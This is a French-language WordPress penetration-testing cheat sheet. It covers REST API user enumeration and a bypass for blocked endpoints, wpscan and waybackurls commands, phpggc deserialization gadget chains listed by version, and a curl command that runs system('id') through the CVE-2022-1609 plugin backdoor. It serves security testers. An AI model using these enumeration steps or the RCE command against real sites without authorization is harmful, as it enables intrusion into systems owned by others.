WordPress
Pentest de site WordPress
Fichiers intéressants
Dashboard d'administrateur
Fichiers de configuration
Directory listing
Backup file
Scans
Voir wpscan et xmlrpc-scan.
🚪Scan de ports / webEnumération
Utilisateurs
En utilisant le chemin /wp-json/wp/v2/users, il est possible de FUZZ les utilisateurs comme ceci:
/wp-json/wp/v2/users/1
/wp-json/wp/v2/users/2
/wp-json/wp/v2/users/3
/wp-json/wp/v2/users/X
Faire la même chose avec le paramètre author (?author=X)
Si l'accès est bloqué, on peu tenter de le contourner comme ceci:
/wp-json/?rest_route=/wp/v2/users
Si l'un de ces endpoints fonctionne, il est possible d'utiliser les paramètres "per_page" et "page" pour afficher l'ensemble des utilisateurs sur une seule page.
/wp-json/wp/v2/users/?per_page=100&page=1
Tips
Avec API wpscan:
$ wpscan --url https://target.com -e vp --api-token <token> --random-user-agent --ignore-main-redirect --force --disable-tls-checks
parfois ce n'est pas nécessaire car le wordpress est directement hébergé sur le répertoire root.
exp:
https://target.com/blog/wp-content
https://target.com/news/articles/wp-content
pour trouver les endpoints intéressant on peut s'aider des excellents outils waybackurls et httpx.
$ waybackurls target.com | grep "wp-content" | httpx -mc 200
On peut aussi utiliser gau, gauplus etc pour plus d'endpoints.
Avec ces informations, on peut alors plus facilement cibler nos recherche dans l'option url de wpscan.
$ wpscan --url https://target.com/path/to/wp-content --wp-content-dir -e vp --api-token <token> --random-user-agent --ignore-main-redirect --force --disable-tls-checks
Une fois cela fais, il ne reste plus qu'a analyser le resultat à la recherche de vulnérabilités connues.
Pour exploiter les thèmes, il suffit de changer vp par vt dans la commande.
$ wpscan --url https://target.com/path/to/wp-content --wp-content-dir -e vt --api-token <token> --random-user-agent --ignore-main-redirect --force --disable-tls-checks
Evidemment, wpscan n'est pas un outil parfait et il arrive qu'il ne détecte pas tout ce qu'il pourrait détecter, il est donc important de manuellement rechercher plugins et thèmes manuellement à l'aide de la fonctionnalité view-source de votre navigateur.
utilisez view-source de cette manière dans la barre de saisie d'url:
view-source:https://target.com
puis recherchez des mots clés comme "/plugins" ou "/themes" dans différentes pages du site.
Vous pourriez ainsi trouver des éléments auquel d'autres n'auraient peut-être pas pensé et qui pourraient contenir des vulnérabilités.
Unsecure deserialization
Ressource: https://fenrisk.com/publications/blogpost/2023/11/22/gadgets-chain-in-wordpress/
WordPress < 5.5.2 => phpgcc WordPress/WooCommerce/RCE1 et WordPress/WooCommerce/RCE2 (Nécessite le plugin WooCommerce d'installé)
Wordpress < 6.3.5 => phpgcc WordPress/RCE1 (via classe WP_Theme)
WordPress > 6.4 => phpgcc WordPress/RCE2 (via classe WP_HTML_Token)
CVE
CVE-2022-1609
WordPress Weblizar Backdoor (WordPress school management pro premium version < 9.9.7)
Check:
$ curl -s -d 'blowfish=1' -d "blowfish=system('id');" 'http://target.com/wp-json/am-member/license'
vulnerable output:
uid=...gid=...groups=...
Dernière mise à jour